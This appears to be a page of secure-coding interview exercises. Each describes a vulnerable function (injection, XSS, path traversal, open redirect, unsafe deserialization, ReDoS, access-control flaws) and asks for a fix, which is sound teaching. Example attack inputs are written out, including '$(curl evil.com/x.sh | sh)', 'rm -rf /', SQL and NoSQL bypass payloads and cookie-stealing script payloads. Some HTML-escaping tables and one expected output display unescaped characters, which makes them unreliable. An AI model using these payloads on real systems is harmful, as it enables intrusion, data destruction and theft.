Interview Prep
Problems modelled on what technical interviews ask. Solve them in JavaScript, TypeScript, Python or SQL.
Difficulty
Topics
Language
A password-reset token generator is meant to build a token from a caller-supplied source of cryptographically-random integers. The bug: the buggy version ignores the secure source entirely and calls Math.random() instead — Math.random is a fast, statistically-predictable PRNG never intended for security purposes; tokens generated from it can be predicted or brute-forced far more easily than a real attacker should need. Your task: fix solve(randomInts) so it builds the token from the provided randomInts array (mapping each integer to a character via % alphabet.length), never by generating its own randomness internally.
The signup form below accepts any string as an email address without validation. The bug: malformed input flows downstream into emails, database records and third-party APIs — at best causing bounced emails, at worst becoming an injection vector in systems that trust the "email" field is actually shaped like one. Your task: fix solve(email) to return true only for strings shaped like local@domain.tld (non-empty local part, @, non-empty domain, a dot, non-empty TLD) — false otherwise.
The function below builds a SQL query by concatenating user input directly into the string. The bug: an attacker can pass admin' OR '1'='1 as the username and the resulting query becomes SELECT * FROM users WHERE username = 'admin' OR '1'='1' — always true, bypassing authentication entirely. Your task: fix solve(username) so it returns a parameterized query — a placeholder (?) in the SQL string, with the user input passed separately as a bind parameter, never concatenated.
The file-download endpoint below serves whatever path the client asks for, relative to an uploads folder. The bug: a request for ../../etc/passwd (or an absolute path like /etc/passwd) escapes the intended uploads directory entirely, exposing arbitrary files on the server. Your task: fix solve(userPath) so it returns the path unchanged when it's a safe relative path, or null when it contains .. or starts with /.
A post-login "redirect back to where you came from" feature takes a returnTo URL from the query string and redirects there unchecked. The bug: ?returnTo=https://evil-lookalike.com/login sends a freshly-authenticated user straight to a phishing page — and because the redirect started on the real, trusted domain, it's far more convincing than a cold phishing link. Protocol-relative URLs (//evil.com) are an easy-to-miss bypass of a naive check too. Your task: fix solve(url) so it returns url unchanged only when it's a same-site relative path (starts with / but not //) — otherwise it returns the safe fallback '/'.
The function below renders user-controlled content directly into an HTML string. The bug: an attacker can inject <script>alert('XSS')</script> as the argument and execute arbitrary JavaScript in the victim's browser — Cross-Site Scripting, one of the most common web vulnerabilities. Your task: fix solve(str) so every HTML special character is escaped before being returned. | Character | Escaped form | |-----------|--------------| | & | & | | < | < | | > | > | | " | " | | ' | ' | Safe strings must pass through unchanged.
The function below generates "unique" tokens using random.randint, producing short, low-entropy decimal strings instead of proper session tokens. The bug: Python's random module uses the Mersenne Twister — fast, but not cryptographically secure. Its output is predictable if an attacker observes enough samples, and it isn't designed to produce fixed-length, uniformly-distributed tokens. For anything security-sensitive (session IDs, password reset tokens, API keys), this is the wrong tool. Your task: fix solve(n) to generate n tokens using the secrets module — Python's cryptographically secure random generator — and return a summary of their properties.
The function below wraps user comments in a <div> with no escaping at all. The bug: a comment containing <script>alert(document.cookie)</script> gets rendered as actual HTML — the attacker's JavaScript runs in every visitor's browser, with access to their session cookie. Your task: fix solve(comments) so every comment is HTML-escaped before being wrapped, using Python's built-in html module. solve(['hello']) → ['<div>hello</div>'] solve(['<script>alert(1)</script>']) → ['<div><script>alert(1)</script></div>']
Hash a string with SHA-256 using Python's built-in hashlib module. solve('hello') → '2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824'
Parse an HTTP Authorization: Basic <base64> header into credentials. solve('Basic dXNlcjpwYXNz') → {'username': 'user', 'password': 'pass'} Use Python's built-in base64 module. Rules: Return None for a missing/invalid prefix, missing colon, or invalid base64. The first : separates username from password; the password may contain colons.
Hash a string with SHA-256 using Node.js's built-in crypto module. solve('hello') → '2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824' This module is Node.js-only (no browser equivalent without a polyfill).
Parse an HTTP Authorization: Basic <base64> header into credentials. solve('Basic dXNlcjpwYXNz') → { username: 'user', password: 'pass' } Use Buffer.from(b64, 'base64').toString('utf8') (Node.js built-in). Rules: Return null for missing/invalid prefix or missing colon. The first : separates username from password; the password may contain colons.
The function below renders user-controlled content directly into an HTML string. The bug: an attacker can inject <script>alert('XSS')</script> as the argument and execute arbitrary JavaScript in the user's browser. Your task: fix solve(str) so that every HTML special character is escaped before being returned. | Character | Escaped form | |-----------|--------------| | & | & | | < | < | | > | > | | " | " | | ' | ' | Safe strings must pass through unchanged.
The password-hashing function below is supposed to combine a password with a per-user salt, but the salt is silently ignored. The bug: without a salt actually mixed into the hash, two users with the same password get the exact same hash — letting an attacker with database access instantly spot duplicate passwords and use precomputed rainbow tables, defeating the entire purpose of salting. Your task: fix solve(password, salt) so the returned hash genuinely depends on both password and salt — changing either one must change the output.
The key-validation function below accepts any non-empty string as an encryption key. The bug: applications regularly ship with a default/placeholder key like "secret" or "changeme" in a config template — and if that default is never actually changed in production, every encrypted value is trivially decryptable by anyone who knows the well-documented default. Your task: fix solve(key) so it returns true only when the key is at least 16 characters long and is not one of the well-known weak/default values: 'secret', 'password', '12345', 'changeme', or an empty string (case-insensitive match).
A payment service logs the full request message for debugging, including whatever text was submitted. The bug: log files routinely have weaker access controls than the production database, get shipped to third-party log aggregators, and are kept far longer than necessary — logging a full credit card number is a direct path to a compliance violation and a data breach. Your task: fix solve(message) so any 16-digit credit card number in the message (with or without spaces/dashes grouping the digits in 4s) is replaced with * * followed by only the last 4 digits. Text with no card number is returned unchanged.
An API endpoint returns "the current user's profile" by sending back the full database record. The bug: the database record includes passwordHash — a field that should never leave the server. Your task: fix solve(user) so the returned object has every field from user except passwordHash.
The registration handler below builds a new user record directly from the request body. The bug: nothing stops a client from including an extra role: "admin" field in the JSON body — a registration request meant to create an ordinary customer silently creates an administrator instead. Your task: fix solve(input) so the returned user's role is always 'customer', regardless of anything the caller sent in input.role.
The config-loading function below parses untrusted JSON with no safeguards. The bug: a JSON payload containing a "__proto__" key can pollute Object.prototype for the entire running process once merged into an existing object elsewhere in the app — turning a "just parse some JSON" operation into a vector for corrupting unrelated code, bypassing security checks, or crashing the server. Your task: fix solve(json) so it parses the JSON and returns the result normally — but returns null instead if the parsed value (at any nesting level) contains a __proto__, constructor, or prototype key, or if the JSON is malformed.
A "visit link" component takes a user-supplied URL and uses it directly as an href. The bug: javascript:alert(document.cookie) is a perfectly valid URL as far as the browser is concerned — clicking a link with that href executes the script, no <script> tag required. Your task: fix solve(url) so any URL using the javascript: scheme (case-insensitively, with or without leading whitespace) is replaced with the safe fallback '#' — everything else passes through trimmed but otherwise unchanged.
The route guard below is meant to protect /admin/* routes, but always allows the request through — the admin link is simply hidden from the UI for non-admins, with no actual server-side check. The bug: hiding a link in the UI is not access control. Anyone who knows (or guesses) the URL /admin/users can reach it directly, regardless of role. Your task: fix solve(role, route) so any route starting with /admin requires role === 'admin' — everything else is allowed through unchanged.
The login handler below returns a different, specific error message depending on whether the email exists or the password was wrong. The bug: "No account found with this email" vs "Incorrect password" lets an attacker enumerate every valid email address in the system by trying each one and watching which error comes back — a huge head start for credential-stuffing and phishing. Your task: fix solve(emailExists, passwordCorrect) so both failure cases return the exact same generic message, 'Invalid email or password.' — only the success case is distinguishable.
The key-validation function below accepts any non-empty string as an encryption key. The bug: applications regularly ship with a default/placeholder key like "secret" or "changeme" in a config template — and if that default is never actually changed in production (a shockingly common real-world finding), every encrypted value is trivially decryptable by anyone who knows the well-documented default. Your task: fix solve(key) so it returns true only when the key is at least 16 characters long and is not one of the well-known weak/default values: 'secret', 'password', '12345', 'changeme', or an empty string (case-insensitive match).
An API endpoint returns "the current user's profile" by sending back the full database record. The bug: the database record includes passwordHash — a field that should never leave the server. This is Juice Shop's very first listed challenge, "Password Hash Leak": obtain a user's password hash directly from a REST API response that was never supposed to include it. Your task: fix solve(user) so the returned object has every field from user except passwordHash.
The login handler below passes the request body straight into a MongoDB-style filter. The bug: MongoDB interprets object values as query operators. An attacker who sends { "username": "admin", "password": { "$ne": null } } as JSON gets a filter that matches any non-null password — logging in as admin without knowing the password. Your task: fix solve(input) so it only accepts username/password as plain strings — reject (return null) if either field is anything else, like an object carrying a $ne/$gt/$where operator.
The order-lookup handler below returns whatever order matches the requested ID — without checking who's asking. The bug: any logged-in user can view any order by simply changing the ID in the URL (/orders/1, /orders/2, ...) — a textbook Insecure Direct Object Reference. Your task: fix solve(currentUserId, order) so it returns the order only when order.ownerId matches currentUserId — null otherwise.
A "visit link" component takes a user-supplied URL and uses it directly as an href. The bug: javascript:alert(document.cookie) is a perfectly valid URL as far as the browser is concerned — clicking a link with that href executes the script, no <script> tag required. This is exactly Juice Shop's DOM-based XSS challenge category. Your task: fix solve(url) so any URL using the javascript: scheme (case-insensitively, with or without leading whitespace) is replaced with the safe fallback '#' — everything else passes through trimmed but otherwise unchanged.
A file-processing endpoint shells out to a CLI tool, passing a user-supplied filename. The bug: filenames like report.txt; rm -rf / or $(curl evil.com/x.sh | sh) get interpreted by the shell as additional commands, not as part of a filename — full remote code execution. Your task: fix solve(filename) so it returns true only for filenames made exclusively of letters, digits, dots, dashes and underscores — anything else (shell metacharacters like ;, |, &, $(, backticks, spaces) must return false.
The route guard below is meant to protect /admin/* routes, but always allows the request through — the admin link is simply hidden from the UI for non-admins, with no actual server-side check. The bug: hiding a link in the UI is not access control. Anyone who knows (or guesses) the URL /admin/users can reach it directly, regardless of role — this is exactly Juice Shop's "Admin Section" challenge. Your task: fix solve(role, route) so any route starting with /admin requires role === 'admin' — everything else is allowed through unchanged.
The function below accepts any non-empty string as a valid email address. The bug: invalid emails like "notanemail" or "@missing.com" are accepted, causing downstream failures (bounced sends, database constraint violations, user frustration). Your task: fix solve(email) to return True only for structurally valid email addresses. A valid email for this exercise must: Have a non-empty local part (before @) Contain exactly one @ character Have a domain with at least one dot and a non-empty TLD
The function below builds a file path by concatenating a base directory with user-supplied input. The bug: an attacker can pass "../../../etc/passwd" as the filename and read any file on the server — a classic path traversal attack. Your task: fix solve(base_path, user_input) so that: Valid filenames within the base directory return the full, normalized path. Any input that would resolve outside base_path returns None.
The function below returns whatever URL the caller passes in, unchanged — the exact value a login page might feed straight into a redirect response. The bug: an attacker can craft a link like https://codejump.io/login?next=https://evil.com and, after a successful login, the victim gets redirected to a phishing site that looks just like yours. Your task: fix solve(redirect_url) so that: A relative path starting with a single / is returned unchanged (safe — stays on this site). Anything else — an absolute URL, a javascript: URL, or a protocol-relative URL starting with // (a common bypass, since browsers treat it as same-protocol-different-host) — falls back to '/'.
The function below builds a SQL query by embedding user input directly into the string. The bug: an attacker can pass "1' OR '1'='1" as user_id and dump the entire users table (or worse, DROP TABLE users). Your task: fix solve(user_id) so it returns a parameterized query dict instead of a raw string: The sql string must use the %s placeholder (the standard Python DB-API convention). The user input must only ever appear in params — never embedded in the SQL string.
The function below decodes a base64 auth token and unpickles it to check an admin flag. The bug: this is the real behavior of a deliberately-vulnerable Django reference app used for security training — its insec_des_lab view runs pickle.loads(base64.b64decode(cookie)) on a token the client fully controls. pickle.loads can execute arbitrary code embedded in the payload via a crafted __reduce__ method — this isn't just "an attacker can lie about being admin," it's remote code execution on your server. Your task: fix solve(token_b64) so it decodes the token as JSON, not pickle — json.loads can only ever produce plain data (str/int/float/bool/None/list/dict), never code. Return {'is_admin': True} when the decoded payload has admin == 1, and {'is_admin': False} for anything else (including malformed input).
The function below "hashes" passwords with plain, unsalted MD5 — fast, and completely broken for password storage. The bug: MD5 was designed to be fast — the opposite of what you want for password hashing. Modern GPUs compute billions of MD5 hashes per second, making brute-force and rainbow-table attacks trivial. Worse, with no salt, two users with the same password get the same hash, and a single precomputed rainbow table cracks every account in the database at once. Your task: fix hash_password(password, salt) to use hashlib.pbkdf2_hmac — a deliberately slow, salted key-derivation function — with at least 100,000 iterations. solve then checks that your fix has the properties a real password hash needs: correct output length, deterministic given the same password+salt, sensitive to the salt, and different from the naive MD5 hash.
The function below validates a username using a regular expression with a nested quantifier: ^([a-z0-9_]+)+$. The bug: this pattern is vulnerable to Regular Expression Denial of Service (ReDoS). For certain crafted inputs, the regex engine's backtracking takes exponential time — a string of ~25 valid characters followed by one invalid character can hang for seconds, blocking the process. Your task: fix solve(username) so it validates the same rule — 3 to 20 lowercase letters, digits, or underscores — without the vulnerable nested-quantifier pattern.
The function below returns admin-only "secret" content to any authenticated user, with no role check at all. The bug: this is the real behavior of a deliberately-vulnerable Django reference app used for security training — its a1_broken_access_lab3_secret view checks only request.user.is_authenticated before rendering admin-only content. The source literally contains the comment # no checking applied here. Any logged-in user, not just admins, sees the secret page. Your task: fix solve(user, resource_owner_id) so access is only granted when: the user is an admin, OR the user is the resource owner (user['id'] == resource_owner_id) Otherwise, return {'allowed': False}.
The function below returns every memo in the system, regardless of who is asking. The bug: this is the same class of bug as a well-known deliberately-vulnerable app's memo-listing endpoint — it fetches all memos and renders them, without ever filtering by the logged-in user. Any authenticated user can read every other user's private memos just by visiting the page. Your task: fix solve(all_memos, current_user_id) so it returns only the memos that belong to current_user_id.
The function below builds a shell command string by concatenating a filename into it — the kind of string a naive subprocess.run(cmd, shell=True) call would execute. The bug: an attacker can pass "report.txt; rm -rf /" as the filename. When run with shell=True, the shell treats ; as a command separator and executes both commands. Your task: fix solve(filename) so it returns an argument list — ['cat', filename] — instead of a shell string. Passed to subprocess.run(argv, shell=False), the filename is treated as a single literal argument no matter what characters it contains; there's no shell to interpret ;, $(), or &&.
The function below accepts any non-empty string as a valid email address. The bug: invalid emails like "notanemail" or "@missing.com" are accepted, causing downstream failures (bounced sends, database constraint violations, user frustration). Your task: fix solve(email) to return true only for structurally valid email addresses. A valid email for this exercise must: Have a non-empty local part (before @) Contain exactly one @ character Have a domain with at least one dot and a non-empty TLD
The function below builds a file path by concatenating a base directory with user-supplied input. The bug: an attacker can pass "../../../etc/passwd" as the filename and read any file on the server — a classic path traversal (directory traversal) attack. Your task: fix solve(basePath, userInput) so that: Valid filenames within the base directory return the full path. Any input that would escape basePath returns null. Use string operations only (no require('path') available in this sandbox).
The function below returns whatever URL the caller passes in, unchanged — the exact value a login page might feed straight into res.redirect(). The bug: an attacker can craft a link like https://codejump.io/login?next=https://evil.com and, after a successful login, the victim gets redirected to a phishing site that looks just like yours. Your task: fix solve(redirectUrl) so that: A relative path starting with a single / is returned unchanged (safe — stays on this site). Anything else — an absolute URL, a javascript: URL, or a protocol-relative URL starting with // (a common bypass, since browsers treat it as same-protocol-different-host) — falls back to '/'.
The function below validates a username using a regular expression with a nested quantifier: /^([a-z0-9_]+)+$/. The bug: this pattern is vulnerable to Regular Expression Denial of Service (ReDoS). For certain crafted inputs, the regex engine's backtracking takes exponential time — a string of ~25 valid characters followed by one invalid character can freeze the event loop for seconds, blocking every other request on the server. Your task: fix solve(username) so it validates the same rule — 3 to 20 lowercase letters, digits, or underscores — without the vulnerable nested-quantifier pattern.
The function below builds a MongoDB query filter by embedding user input directly into a $where clause string. The bug: $where runs its string as raw JavaScript on the database server. An attacker can pass "0'; while(true){}" as the threshold and hang the database with an infinite loop, or pass a boolean-injection payload to bypass the filter entirely and match every document. This is the real query from a deliberately-vulnerable Node.js reference app used for security training: Your task: fix solve(userId, threshold) so it returns a filter object built from standard MongoDB query operators instead of an interpolated $where string: